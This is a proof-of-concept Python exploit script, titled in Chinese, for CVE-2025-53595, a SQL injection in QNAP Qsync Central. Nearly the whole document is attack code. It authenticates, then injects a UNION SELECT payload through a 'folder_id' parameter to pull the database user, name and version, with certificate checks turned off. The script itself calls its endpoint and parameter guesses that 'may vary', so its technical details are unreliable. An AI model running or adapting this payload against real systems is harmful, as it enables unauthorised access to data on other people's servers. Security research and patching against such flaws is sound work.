CVE-2025-53595 QNAP Qsync Central SQL注入漏洞

# CVE-2025-53595 - QNAP Qsync Central SQL Injection PoC # Author: Security Researcher # Description: Demonstrates SQL injection in authenticated Qsync Central endpoint import requests import sys TARGET_URL = "https://target-qnap:8080" USERNAME = "test_user" PASSWORD = "test_password" # Vulnerable endpoint (example - actual endpoint may vary) VULNERABLE_ENDPOINT = "/qsync/api/v1/sync/folder/list" # SQL injection payload - UNION-based injection to extract database info SQL_PAYLOAD = "' UNION SELECT 1,user(),database(),version(),5,6,7-- -" def login(session, base_url, username, password): """Authenticate to Qsync Central and obtain session cookie.""" login_url = f"{base_url}/qsync/api/v1/auth/login" payload = { "username": username, "password": password } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: print("[+] Login successful") return True print("[-] Login failed") return False def exploit_sqli(session, base_url, endpoint, injection): """Send SQL injection payload to vulnerable parameter.""" target_url = f"{base_url}{endpoint}" # The vulnerable parameter is typically 'folder_id' or similar params = { "folder_id": injection, "limit": 10 } headers = { "Content-Type": "application/json", "User-Agent": "Qsync-Client/1.0" } resp = session.get(target_url, params=params, headers=headers, verify=False) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") return resp def main(): session = requests.Session() if not login(session, TARGET_URL, USERNAME, PASSWORD): sys.exit(1) # Test basic connectivity exploit_sqli(session, TARGET_URL, VULNERABLE_ENDPOINT, "1") # Trigger SQL injection exploit_sqli(session, TARGET_URL, VULNERABLE_ENDPOINT, SQL_PAYLOAD) if __name__ == "__main__": main()